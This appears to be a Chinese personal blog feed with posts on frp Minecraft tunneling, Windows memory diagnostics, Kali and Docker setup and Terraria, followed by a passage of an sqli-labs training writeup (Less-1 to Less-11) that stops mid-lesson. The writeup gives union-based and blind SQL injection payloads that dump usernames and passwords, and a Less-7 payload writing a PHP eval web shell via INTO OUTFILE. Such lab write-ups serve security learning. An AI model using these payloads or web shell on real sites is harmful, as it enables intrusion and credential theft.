在命令行输入以下地址，其他玩家可以用<IP>:<PORT>来访问你的服务器下载东西，可以利用python，上传整合包到服务器，让其他玩家进行下载

`1`	`python3 -m http.server 81`

客户端部分

这里的本地游戏客户端是Windows11，回到frp下载合适版本

`1`	`wget https://github.com/fatedier/frp/releases/download/v0.65.0/frp_0.65.0_windows_amd64.zip`

解压之后进入目录，同样显示几个文件（我这里使用的pwsh，也可以使用解压软件直接右击手动解压）

PS C:\Users\Leo> set-Location D:\new\
PS D:\new> get-ChildItem

    Directory: D:\new

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---          2025-12-11    11:26       27543880 frp_0.65.0_windows_amd64.zip
PS D:\new\frp_0.65.0_windows_amd64> Expand-Archive -Path .\frp_0.65.0_windows_amd64.zip -DestinationPath .\
PS D:\new\frp_0.65.0_windows_amd64> get-ChildItem

    Directory: D:\new\frp_0.65.0_windows_amd64

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---           2025-12-7     3:24       13794497 frp_0.65.0_windows_amd64.zip
-a---           2025-9-25    20:28       16414208 frpc.exe
-a---           2025-12-6    20:47            431 frpc.toml
-a---           2025-9-25    20:28       20792320 frps.exe
-a---           2025-9-25    20:31             16 frps.toml
-a---           2025-9-25    20:31          11358 LICENSE

这里同样有frpc.exe、frpc.toml、frps.exe、frps.toml 这几个文件，现在配置客户端frpc.toml配置文件

使用文本编辑软件如记事本、vim、vscode之类的编辑frpc.toml，最后内容为

Get-Content .\frpc.toml
# frp服务端地址（改为你的frps服务器IP）
serverAddr = "x.x.x.x"
serverPort = 7000

# Minecraft局域网联机转发配置 - TCP（备用）
[[proxies]]
name = "minecraft-tcp"
type = "tcp"
localIP = "127.0.0.1"
localPort = 25565
remotePort = 25565

# Minecraft局域网联机转发配置 - UDP（主要）
[[proxies]]
name = "minecraft-udp"
type = "udp"
localIP = "127.0.0.1"
localPort = 25565
remotePort = 25566

启动客户端frp，出现start proxy success链接成功

`1`	`PS D:\new\frp_0.65.0_windows_amd64> .\frpc.exe -c .\frpc.toml`

Minecraft 部分

主机：打开游戏->单人游戏->设置->开启局域网联机其他：打开游戏->多人游戏->直接连接/添加服务器->写入frp公网ip地址->加入服务器

—结束

Windows 内存诊断工具使用笔记

Thu, 04 Dec 2025 10:00:00 +0800

快速判断内存条是否存在硬件级故障，最省事的办法就是跑一遍系统自带的 Windows 内存诊断工具。整个过程无需第三方软件，支持中文提示，10~30 分钟出结果。

1 适用场景

症状	是否推荐
随机蓝屏（MEMORY_MANAGEMENT、IRQL 等）	✅ 强烈推荐
死机、重启、程序无征兆崩溃	✅
新装/更换内存后稳定性验证	✅
想跑 MemTest86 但没 U 盘	✅ 可先跑这个

2 操作流程

2.1 启动工具

Win + R → 输入
1

mdsched.exe
弹出窗口选择
- 立即重新启动并检查问题（推荐）
  （所有未保存文件会丢失，请先保存。）

2.2 自动重启 & 检测

机器将重启进入蓝底白字的 Windows Memory Diagnostic 界面。
默认执行 Standard（标准） 检测：
- 包含 8 种连续读写测试
- 耗时约 10~30 分钟（取决于内存大小/频率）
按 F1 可切换为 Basic / Extended 模式，一般保持默认即可。

2.3 完成 & 再次重启

进度条走到 100% 后，系统将 自动重启回到桌面。
不会在测试界面显示最终结果，需下一步查看日志。

3 查看结果

Win + X → 事件查看器
（或在运行输入 eventvwr.msc）eventvwr.exe、eventvwr 也可以
导航到
1

Windows 日志 → 系统
右侧 筛选当前日志 → 事件来源选择
1

MemoryDiagnostics-Results
双击最新一条信息事件，可看到如下字样：
1

在 2025-12-04T10:20:46.000Z 执行的内存诊断测试已完成，未检测到硬件错误。
如果出现 检测到硬件错误，则内存条或插槽大概率有问题。

4 常见问题 FAQ

问题	解决方案
找不到 MemoryDiagnostics-Results	确认已跑完测试并已重启；有时需等几分钟日志才会写入。
检测卡在 21%、87% 不动	通常仍在运行，可等待 1 小时；若长时间不动，强制关机后重跑。
提示硬件错误	逐条内存单插重跑，定位故障条；或换插槽排除主板问题。

5 与 MemTest86 的对比

维度	Windows 内存诊断	MemTest86
安装介质	无需	需制作启动 U 盘
检测深度	★★★	★★★★★
运行环境	Windows 重启后	裸机（脱离系统）
耗时	10~30 min	2~~8 h（2~~4 Pass）
结论	快速筛查	权威级验证

建议：先跑 Windows 内存诊断，如有报错再考虑 MemTest86 深度验证。

结论：Windows 内存诊断工具足以应对 90% 的日常排障场景；零成本、易上手，推荐作为内存稳定性检查的第一站。

kali httpx 和 python 冲突问题解决

Thu, 20 Nov 2025 22:02:04 +0800

kali httpx 和 python 冲突问题解决

问题原因

今天（2025/11/20）使用kali的时候发现httpx无法正常使用了，排查了一会发现是python-httpx和go的httpx冲突了，导致进行网站探活的go的httpx无法正常使用……

解决方案

卸载python-httpx 使用go安装

以下内容全部使用root账号进行

卸载python-httpx

# 检查 httpx 是否通过 apt 安装
dpkg -l | grep python3-httpx

# 卸载系统包
sudo apt remove python3-httpx -y

# 清理残留
sudo apt autoremove -y

使用 go install（最新版本）

这里使用过apt install httpx-toolkit -y，但是httpx还是不能用

# 安装 Go（如果未安装）
sudo apt install golang -y

# 安装 httpx
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest

这时 ~/go/bin/ 下面应该有一个httpx

1
2

# ls -liah ~/go/bin/httpx
7360654 -rwxr-xr-x 1 root root 61M Nov 20 21:16 /root/go/bin/httpx

将二进制文件httpx移动到 /usr/bin/ 下，httpx正常使用

也可以将 ~/go/bin/ 添加到PATH变量

`1`	`cp ~/go/bin/httpx /usr/bin/`

验证：

# httpx -version

    __    __  __       _  __
   / /_  / /_/ /_____ | |/ /
  / __ \/ __/ __/ __ \|   /
 / / / / /_/ /_/ /_/ /   |
/_/ /_/\__/\__/ .___/_/|_|
             /_/

                projectdiscovery.io

[INF] Current Version: v1.7.2

Docker 代理

Wed, 19 Nov 2025 23:08:02 +0800

Docker 代理

创建 docker.service.d 目录

`1`	`sudo mkdir /etc/systemd/system/docker.service.d/`

修改代理

将 proxy-server:port 改为自己的代理地址和端口

sudo tee /etc/systemd/system/docker.service.d/proxy.conf << EOF 
[Service]
Environment="HTTP_PROXY=http://proxy-server:port"
Environment="HTTPS_PROXY=http://proxy-server:port"
Environment="NO_PROXY=localhost,127.0.0.1"
EOF

重新加载 systemd 配置

`1`	`sudo systemctl daemon-reload`

重启 Docker 服务

`1`	`sudo systemctl restart docker`

验证（搜个ubuntu看看）

`1`	`sudo docker search ubuntu`

Terraria NPC晶塔布置方案

Mon, 17 Nov 2025 12:26:39 +0800

Terraria泰拉瑞亚 NPC晶塔布置方案

激活条件

核心要求：晶塔周围169×124格内需有2个以上有房屋的NPC
传送网络：至少需要2个激活的晶塔才能相互传送

最优NPC组合推荐

晶塔位置	主要NPC	备用NPC	备注
森林晶塔	动物学家、巫医	高尔夫球手	商人和高尔夫球手就放到森林晶塔，复活点放护士，方便回血
雪原晶塔	机械师、哥布林工匠	机器侠	机器侠放到雪原晶塔
沙漠晶塔	染料商、军火商	油漆工	油漆工前期放丛林，后期巫医来了可以放沙漠
洞穴晶塔	酒馆老板、爆破专家	服装商	服装商放洞穴晶塔
海洋晶塔	海盗、渔夫	酒馆老板	酒馆老板看情况放置
丛林晶塔	树妖、油漆工、巫医	动物学家	动物学家和巫医放森林晶塔，树妖后期放蘑菇晶塔
神圣晶塔	巫师、派对女孩	树妖、护士	树妖先放丛林，后期放蘑菇晶塔
蘑菇晶塔	松露人、树妖	向导	向导到工作站附近

森林晶塔布置

主要居民：动物学家、巫医
备用居民：高尔夫球手
策略：商人和高尔夫球手安排在森林晶塔，复活点设置护士方便回血

沙漠晶塔布置

策略：油漆工前期放置在丛林，后期巫医到位后可转移至沙漠

丛林晶塔布置

策略：动物学家和巫医优先安排在森林晶塔，树妖后期转移到蘑菇晶塔

神圣晶塔布置

策略：树妖先安排在丛林，后期转移到蘑菇晶塔

蘑菇晶塔布置

策略：树妖后期迁移至此，向导安排在工作站附近

sqli-libs writeup（Less-1 至 Less-13）

Mon, 17 Nov 2025 12:03:21 +0800

sqli-libs writeup

前置知识

使用工具：

hacker —— SQL注入工具
ZeroOmega —— 代理工具

使用函数：

系统函数
- database() —— 当前数据库
- version() —— MySQL版本
- user() —— 数据库用户名
- database() —— 数据库名
- @@datadir —— 数据库路径
- @@version_compile_os —— 操作系统版本
字符串连接函数
- concat(str1,str2,…) —— 没有分隔符地连接字符串
- concat_ws(separator,str1,str2,…) —— 带有分隔符地连接字符串
- group_concat(str1,str2,…) —— 连接一个组的所有字符串，并以逗号分隔每一条数据，将查询结果放到同一个位置
辅助函数
- Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
  - 使用条件：
    1. 必须有权限读取并且文件必须完全可读 and (select count(*) from mysql.user)>0 /* 如果结果返回正常,说明具有读写权限。 and (select count(*) from mysql.user)>0 /* 返回错误，应该是管理员给数据库帐户降权
    2. 欲读取文件必须在服务器上
    3. 必须指定文件完整的路径
    4. 欲读取文件必须小于 max_allowed_packet

注释：

--+ 可以尝试# 或者POST注入时的-- a、--+a

or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+

联合查询

union 需要注意的是：union查询多个表的时候，列数要相同，比如第一个表查询了select 1,2，两个列，第二个表查询也是需要两个列union select 1,2

逻辑运算

万能密码

`1`	`Select * from admin where username=’admin’ and password=’’or 1=1#’`

and

1
2
3

Select * from users where id=1  and  1=1;
Select * from users where id=1 && 1=1;
Select * from users where id=1 & 1=1;

以上三个语句效果一样，但是&优先级大于=

注入流程（重点记忆 - 注入思路）

注入流程是整个SQL注入的一个地图，通过这个流程可以明确自己当前在做什么，接下来要做什么，最终目的是什么

关于information_schema

猜数据库

`1`	`select schema_name from information_schema.schemata`

猜某库的数据表

`1`	`select table_name from information_schema.tables where table_schema=’xxxxx’`

猜某表的所有列

`1`	`Select column_name from information_schema.columns where table_name=’xxxxx’`

获取某列的内容

`1`	`Select * from`

小技巧，可以再进行注入的时候本地打开一个数据库查看information_schema数据库，便于查看库表结构

注入方式

报错注入

在开发测试的过程中，数据在后端与数据库传参时，会输入一些非正常数据，导致数据库报错，而后端可能会把报错传回前端，这个时候我们可以根据报错信息对注入点进行测试，利用回显报错的这个方式叫做报错注入

盲注

在进行SQL注入的时候，如果没有回显，那就只能使用一些辅助函数进行注入，我们不知道报错内容，这个利用辅助函数进行判断是否存在注入的方式叫做盲注。

盲注一般分为布尔盲注，时间盲注，（还有报错盲注，这个我没有涉及过，具体的可以参考【独家连载】mysql注入天书（一）Basic Challenges）的Background-2 盲注的讲解部分。

sqli-labs Basic Challenges (基本挑战) 1-22

Less-1

GET - Error based - Single quotes String GET - 基于错误 - 单引号字符串

输入?id=1，返回正常页面

hackbar payload

?id=1

输入?id=1'回显报错，判断可能存在SQL注入，且是字符型注入

从回显分离出报错
''1'' LIMIT 0,1'

拨开单引号，继续分离
'1'' LIMIT 0,1

将LIMIT 0,1限制查询语句剥离
'1''

再剥离单引号，可以看到导致报错的输入
1'

可以构造出后台查询语句
SELECT ? 
FROM ? 
WHERE id='?'
LIMIT 0,1

hackbar payload

?id=1'

在之后加入 --+ 闭合语句，将后面的 LIMIT 0,1' 注释，使报错消失

上一步构造的语句为
SELECT ? 
FROM ? 
WHERE id=? 
LIMIT 0,1

加入--+注释后构造语句为
SELECT ? 
FROM ? 
WHERE id='?'

hackbar payload

1
2

?id=1' --+
--+

使用 order by 语句进行列数查询

上一步，加入--+注释后构造语句为
SELECT ? 
FROM ? 
WHERE id='?'

order by 测试之后可以知道查询的列数为3，可以构造语句为，
SELECT ?,?,?
FROM ? 
WHERE id='?'

hackbar payload1

`1`	`?id=1' order by 1,2,3 --+`

hackbar payload2

`1`	`?id=1' order by 1,2,3,4 --+`

使用联合查询union select 获取回显位置

目前构造语句没有变化，但是知道了select 的位置2和3会回显，位置1不会回显
SELECT ?1,?2,?3
FROM ? 
WHERE id='?'

这里要先将传参?id=1 改为 ?id=-1 ，这样 -1 位置一般就不会回显，转而回显下一个目标，也就是联合查询的回显位置

hackabr paylaod1

`1`	`?id=-1' union select 1,2,3 --+`

可以知道回显的参数时位置2和3，我们注入的时候从这两个位置进行注入就行

使用联合查询union select 尝试获取数据库

以上构造语句
SELECT ?1,?2,?3
FROM ? 
WHERE id='?'

联合查询之后，从这里知道了数据库，接下来我们的目标是获取列名
SELECT ?1,?2,?3
FROM security.?
WHERE id='?'

hackbar payload 1

1
2

?id=-1' union select 1,2,database() 
--+

联合查询，获取当前库有哪些表

之前的构造语句
SELECT ?1,?2,?3
FROM security.?
WHERE id='?'

现在的构造语句，其实没有什么变化，只是表查询出来之后可能是任何一个表
SELECT ?1,?2,?3
FROM security.[emails,referers,uagents,users]
WHERE id='?'

这里要解释一下为什么payload这么构造 information_schema 是MySQL的系统信息数据库，它存放了 -> 数据库和表的结构信息 -> 列定义、索引、约束等详细信息 -> 用户权限和特权信息 -> 数据库监控和维护操作

information_schema.tables 这个表存放了：
表基本信息：表名（TABLE_NAME）、所属数据库（TABLE_SCHEMA）
表类型：表类型（TABLE_TYPE）如 BASE TABLE（基本表）、VIEW（视图） 存储引擎：ENGINE（如 InnoDB、MyISAM）
创建信息：创建时间（CREATE_TIME）、更新时间（UPDATE_TIME）
行数统计：TABLE_ROWS（表的大概行数）
数据大小：数据长度（DATA_LENGTH）、索引长度（INDEX_LENGTH）
字符集：表字符集和排序规则
表注释：TABLE_COMMENT

table_schema 是information_schema.tables这个表中数据库的字段

hackbar payload

?id=-1' union 
select 1,2,group_concat(table_name) 
from information_schema.tables 
where table_schema='security'
--+

查询表结构

当前构造语句
SELECT ?1,?2,?3
FROM security.[emails,referers,uagents,users]
WHERE id='?'

查询每个表的字段
emails 有两个字段 id,email_id 排除
referers 有三个字段 id,referer,ip_address 可能是
uagents 有四个字段 id,uagent,ip_address,username 排除
users 有三个字段 id,username,password 可能是

现在有两种可能
1
SELECT id,referer,ip_address
FROM security.referers
WHERE id='1'

2
SELECT id,username,password 
FROM security.users 
WHERE id='1'

hackbar paylaod 1

?id=-1' union 
select 1,2,group_concat(column_name) 
from information_schema.columns 
where table_schema='security' and table_name='emails' 
--+

hackbar paylaod 2

?id=-1' union 
select 1,2,group_concat(column_name) 
from information_schema.columns 
where table_schema='security' and table_name='referers' 
--+

hackbar paylaod 3

?id=-1' union 
select 1,2,group_concat(column_name) 
from information_schema.columns 
where table_schema='security' and table_name='uagents' 
--+

hackbar paylaod 4

?id=-1' union 
select 1,2,group_concat(column_name) 
from information_schema.columns 
where table_schema='security' and table_name='users' 
--+

测试两个可能性，得出表、列结构

由上一步猜测的两个构造语句
1
SELECT id,referer,ip_address
FROM security.referers
WHERE id='1'

2
SELECT id,username,password 
FROM security.users 
WHERE id='1' 

构造出当前这一步的两个payload
最后成功确认后端查询语句
SELECT id,username,password 
FROM security.users 
WHERE id='1'

hackbar payload 1

?id=-1' union 
select id,referer,ip_address
from referers 
--+

hackbar payload 2

?id=-1' union 
select id,username,password 
from users
--+

最后，使用group_concat注入出用户名密码

查询语句为
SELECT id,username,password 
FROM security.users 
WHERE id='1' 

查询当前库时，security可省略
SELECT id,username,group_concat(user,':',password)
FROM users 
WHERE id='1'

hackbar payload

?id=-1' union 
select id,username,group_concat(username,':',password) 
from users 
--+

Less-2

GET - Error based - Intiger based GET - 基于错误 - 基于整数

输入?id=1 回显报错，这里再推荐一个判断是字符型报错和数字型报错的一个方法：再加一个’(单引号)

在输入一个单引号报错之后，再输入一个单引号，进行闭合，如果成功闭合，报错消失，那就是字符型注入；如果报错还在，没有闭合，那就是数字型注入。

hackbar payload 1

`1`	`?id=1' --+`

hackbar payload 2

`1`	`?id=1'' --+`

如果hackbar payload 2回显正常，说明注入是字符串注入，因为他成功闭合了引号，如果回显继续报错，说明注入是数字型注入。（也可以回到Less 1测试一下）

后续的payload和Less 1完全一样，获取列数

hackbar payload

`1`	`?id=1 order by 1,2,3 --+`

获取注入点

hackbar payload

`1`	`?id=-1 union select 1,2,3 --+`

获取数据库名

backbar paylaod

`1`	`?id=-1 union select 1,2,database() --+`

获取表名

hackbar payload

`1`	`?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+`

获取列名

hackbar payload

`1`	`?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+`

获取内容

hackbar payload

`1`	`?id=-1 union select 1,2,group_concat(username,':',password) from users --+`

Less-3

GET - Error based - Single quotes with twist - String

GET - 基于错误 - 单引号的变体 - 字符串

输入 ?id=1' 测试注入点

报错分析
''1'') LIMIT 0,1'

分离单引号
'1'') LIMIT 0,1
'1'')

这里有一个后括号，先构造查询语句
select ?
from ?
where ? = ('?')

此时如果注释输入位置那么就会变成
select ?
from ?
where ? = ('? --+ ')

后面缺失了一个')，这时候输入的任何内容都会被当作查询内容执行，无法进行注入，需要将)也进行闭合

hackbar paylaod 1

?id=1'

hackbar paylaod 2

?id=1')

hackbar paylaod 3

查询列数

hackbar paylaod

`1`	`?id=1') order by 1,2,3 --+`

查询注入点

hackbar paylaod

`1`	`?id=-1') union select 1,2,3 --+`

查询数据库

hackbar paylaod

`1`	`?id=-1') union select 1,2,database() --+`

查询表名

hackbar paylaod

1
2
3

?id=-1') union select 1,2,group_concat(table_name) 
from information_schema.tables 
where table_schema=database() --+

查询列名

hackbar paylaod

1
2
3

?id=-1') union select 1,2,group_concat(column_name) 
from information_schema.columns 
where table_schema=database() and table_name='users' --+

查询具体数据

hackbar paylaod

1
2

?id=-1') union select 1,2,group_concat(username,':',password) 
from users --+

Less-4

GET - Error based - Double Quotes - String GET - 基于错误 - 双引号 - 字符串

寻找注入点

单引号没有反应，双引号回显报错
'"1"") LIMIT 0,1'

分析，剥离引号
"1"") LIMIT 0,1
"1"")

需要闭合的是 ")

hackbar payload 1

?id=1'

hackbar payload 2

?id=1"

hackbar payload 3

`1`	`?id=1") --+`

查询列数

hackbar payload

`1`	`?id=1") order by 1,2,3 --+`

查询注入点

hackbar payload

`1`	`?id=-1") union select 1,2,3 --+`

查询数据库

hackbar payload

`1`	`?id=-1") union select 1,2,database() --+`

查询表

hackbar payload

1
2
3

?id=-1") union select 1,2,group_concat(table_name) 
from information_schema.tables 
where table_schema=database() --+

查询列

hackbar payload

1
2
3

?id=-1") union select 1,2,group_concat(column_name) 
from information_schema.columns 
where table_schema=database() and table_name='users' --+

查询数据

hackbar payload

1
2

?id=-1") union select 1,2,group_concat(username,':',password) 
from users --+

Less-5

GET - Double Injection - Single Quotes - String GET - 双重注入 - 单引号 - 字符串

从这里开始，难度就开始增加一级了

从这里开始，不再标注时hackbar的paylaod，可以根据截图和paylaod自行进行判断

记得在记事本里保存语句，可以快速修改payload。

测试注入点，报错判断是单引号，使用 and 语句判断回显，表明存在注入

?id=1'

`1`	`?id=1' --+`

`1`	`?id=1' and 1=1 --+`

`1`	`?id=1' and 1=2 --+`

判断查询列数

这之后回显都是一样的，就不放回显了

`1`	`?id=1' order by 1,2,3 --+`

查询数据库

由于没有回显，这里需要使用盲注

`1`	`?id=1' and length(database())=8 --+`

使用辅助函数逐个猜解字符

http://192.168.242.27/Less-5/
?id=1' and left(database(),1)='s' --+

http://192.168.242.27/Less-5/
?id=1' and left(database(),2)='se' --+

http://192.168.242.27/Less-5/
?id=1' and left(database(),3)='sec' --+

http://192.168.242.27/Less-5/
?id=1' and left(database(),4)='secu' --+

http://192.168.242.27/Less-5/
?id=1' and left(database(),5)='secur' --+

http://192.168.242.27/Less-5/
?id=1' and left(database(),6)='securi' --+

http://192.168.242.27/Less-5/
?id=1' and left(database(),7)='securit' --+

http://192.168.242.27/Less-5/
?id=1' and left(database(),8)='security' --+

查询表

同样使用盲注

查询表数量

有4个表
?id=1' and (select count(table_name) 
from information_schema.tables 
where table_schema=database())=4 --+

查询表长度

第1个表长度为6
?id=1' and length((
select table_name 
from information_schema.tables 
where table_schema=database() 
limit 0,1))=6 --+

第2个表长度为8
?id=1' and length((
select table_name 
from information_schema.tables 
where table_schema=database() 
limit 1,1))=8 --+

第3个表长度为7
?id=1' and length((
select table_name 
from information_schema.tables 
where table_schema=database() 
limit 2,1))=7 --+

第4个表长度为5
?id=1' and length((
select table_name 
from information_schema.tables 
where table_schema=database() 
limit 3,1))=5 --+

猜解第1个表名

表名 emails
?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 0,1),
1,1)='e' 
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 0,1),
2,1)='m' 
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 0,1),
3,1)='a' 
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 0,1),
4,1)='i' 
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 0,1),
5,1)='l' 
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 0,1),
6,1)='s' 
--+

猜解第2个表名

表名 referers
?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 1,1),
1,1)='r'
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 1,1),
2,1)='e'
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 1,1),
3,1)='f'
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 1,1),
4,1)='e'
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 1,1),
5,1)='r'
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 1,1),
6,1)='e'
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 1,1),
7,1)='r'
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 1,1),
8,1)='s'
--+

猜解第3个表名

表名 uagents
?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 2,1),
1,1)='u'
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 2,1),
2,1)='a'
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 2,1),
3,1)='g'
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 2,1),
4,1)='e'
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 2,1),
5,1)='n'
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 2,1),
6,1)='t'
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 2,1),
7,1)='s'
--+

猜解第4个表名

表名 users
?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 3,1),
1,1)='u'
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 3,1),
2,1)='s'
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 3,1),
3,1)='e'
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 3,1),
4,1)='r'
--+

?id=1' and 
substr((
  select table_name 
  from information_schema.tables 
  where table_schema=database() 
  limit 3,1),
5,1)='s'
--+

查询users表字段数量

http://192.168.242.27/Less-5/
?id=1' and (select count(column_name) 
from information_schema.columns 
where table_name='users')=3 --+

猜解字段

猜解字段长度

第1个字段长度为2
?id=1' and 
length(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 0,1)
)=2
--+

第2个字段长度为8
?id=1' and 
length(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 1,1)
)=8
--+

第3个字段长度为8
?id=1' and 
length(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 2,1)
)=8
--+

猜解字段名

第1个字段名为id
?id=1' and 
substr(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 0,1),
1,1)='i'
--+

?id=1' and 
substr(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 0,1),
2,1)='d'
--+

第2个字段名为username
?id=1' and 
substr(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 1,1),
1,1)='u'
--+

?id=1' and 
substr(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 1,1),
2,1)='s'
--+

?id=1' and 
substr(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 1,1),
3,1)='e'
--+

?id=1' and 
substr(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 1,1),
4,1)='r'
--+

?id=1' and 
substr(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 1,1),
5,1)='n'
--+

?id=1' and 
substr(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 1,1),
6,1)='a'
--+

?id=1' and 
substr(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 1,1),
7,1)='m'
--+

?id=1' and 
substr(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 1,1),
8,1)='e'
--+

第3个字段名为password
?id=1' and 
substr(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 2,1),
1,1)='p'
--+

?id=1' and 
substr(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 2,1),
2,1)='a'
--+

?id=1' and 
substr(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 2,1),
3,1)='s'
--+

?id=1' and 
substr(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 2,1),
4,1)='s'
--+

?id=1' and 
substr(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 2,1),
5,1)='w'
--+

?id=1' and 
substr(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 2,1),
6,1)='o'
--+

?id=1' and 
substr(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 2,1),
7,1)='r'
--+

?id=1' and 
substr(
  (select column_name 
  from information_schema.columns 
  where table_schema=database() and table_name='users' limit 2,1),
8,1)='d'
--+

最后，注入出数据

这里我就注入出第1个用户名密码，其他位置可以自行尝试

猜解第1个用户名 Dumb
?id=1' and 
substr((
  select username from users 
  limit 0,1),
1,1)='D'
--+

?id=1' and 
substr((
  select username from users 
  limit 0,1),
2,1)='u'
--+

?id=1' and 
substr((
  select username from users 
  limit 0,1),
3,1)='m'
--+

?id=1' and 
substr((
  select username from users 
  limit 0,1),
4,1)='b'
--+

猜解第1个用户的密码
?id=1' and 
substr((
  select password from users 
  limit 0,1),
1,1)='D'
--+

?id=1' and 
substr((
  select password from users 
  limit 0,1),
1,1)='u'
--+

?id=1' and 
substr((
  select password from users 
  limit 0,1),
1,1)='m'
--+

?id=1' and 
substr((
  select password from users 
  limit 0,1),
1,1)='b'
--+

以此类推，可以注入出所有数据

Less-6

GET - Double Injection - Double Quotes - String GET - 双重注入 - 双引号 - 字符串

寻找注入点，单引号没反应，双引号回显报错

`1`	`?id=1"--+`

`1`	`?id=1" --+`

查询列数量猜解

`1`	`?id=1" order by 1,2,3 --+`

emmmm，以下的内容完全和Less-5一样，，将?id=1'改为?id=1" 单引号改为双引号即可

Less-7

GET - Dump into outfile - String GET - 输出到输出文件 - 字符串

查找注入点

回显为
You are in.... Use outfile......

这有点离谱啊，因为路径全靠猜（你猜我猜不猜

这里可以到第一关用 @@datadir 获取路径， payload 为:
?id=-1' union select 1,2,@@datadir --+

我这里的靶场（LingJing 靶场）回显路径为
/var/lib/mysql/

这里出现了一个大问题，我这里没有合适的环境，猜不到中间件的路径，这里可以参考文末《mysql注入天书》的链接里面的内容，参照里面的内容使用 outfile 进行注入

贴一个结果

贴一个常用路径: https://www.cnblogs.com/lcamry/p/5729087.html

说实话，我在正常环境中遇到这种payload说不定就放弃了，CTF也需要提示，正常环境谁会套几层括号啊(bushi

`1`	`?id=1')) --+`

这里可以用盲注的方式进行注入

最后我使用了小皮面板搭建了一个临时环境，需要注意的是，小皮面板的MySQL配置没有开启写入文件，需要在my.ini配置文件的[mysqld]下加入secure_file_priv = ""配置重启数据库，不然写不进去文件

且写入文件是一次性的，无法覆盖，可以边删边测，或者更换文件名测试。

直接给payload吧

`1`	`?id=1')) union select 1,2,'<?php @eval($_POST["pass"])?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\1.php"--+`

Less-8

GET - Blind - Boolian Based - Single Quotes GET - 盲注 - 基于布尔 - 单引号

查找注入点

一个单引号 + 两个单引号测出字符注入，
?id=1'  --+
?id=1''  --+

and 测出逻辑闭合正常
?id=1' and 1=1  --+
?id=1' and 1=2  --+

order by 测出3列，4列不回显
?id=1' order by 1,2,3  --+
?id=1' order by 1,2,3,4  --+

后面就是正常盲注

Less-9

GET - Blind - Time based. - Single Quotes GET - 盲选 - 基于时间 - 单引号

测试是否存在注入，这里使用了一个简单的sleep()判断是否存在注入

正确语句，不会延迟
?id=1' and if(1=1,1,sleep(5)) --+ 

错误语句，延迟5秒
?id=1' and if(1=2,1,sleep(5)) --+

后面就是正常盲注

Less-10

GET - Blind - Time based - double quotes GET - 盲注 - 基于时间 - 双引号

将Less-9的单引号改为双引号就行

Less-11

POST - Error Based - Single quotes - String POST - 基于错误 - 单引号 - 字符串

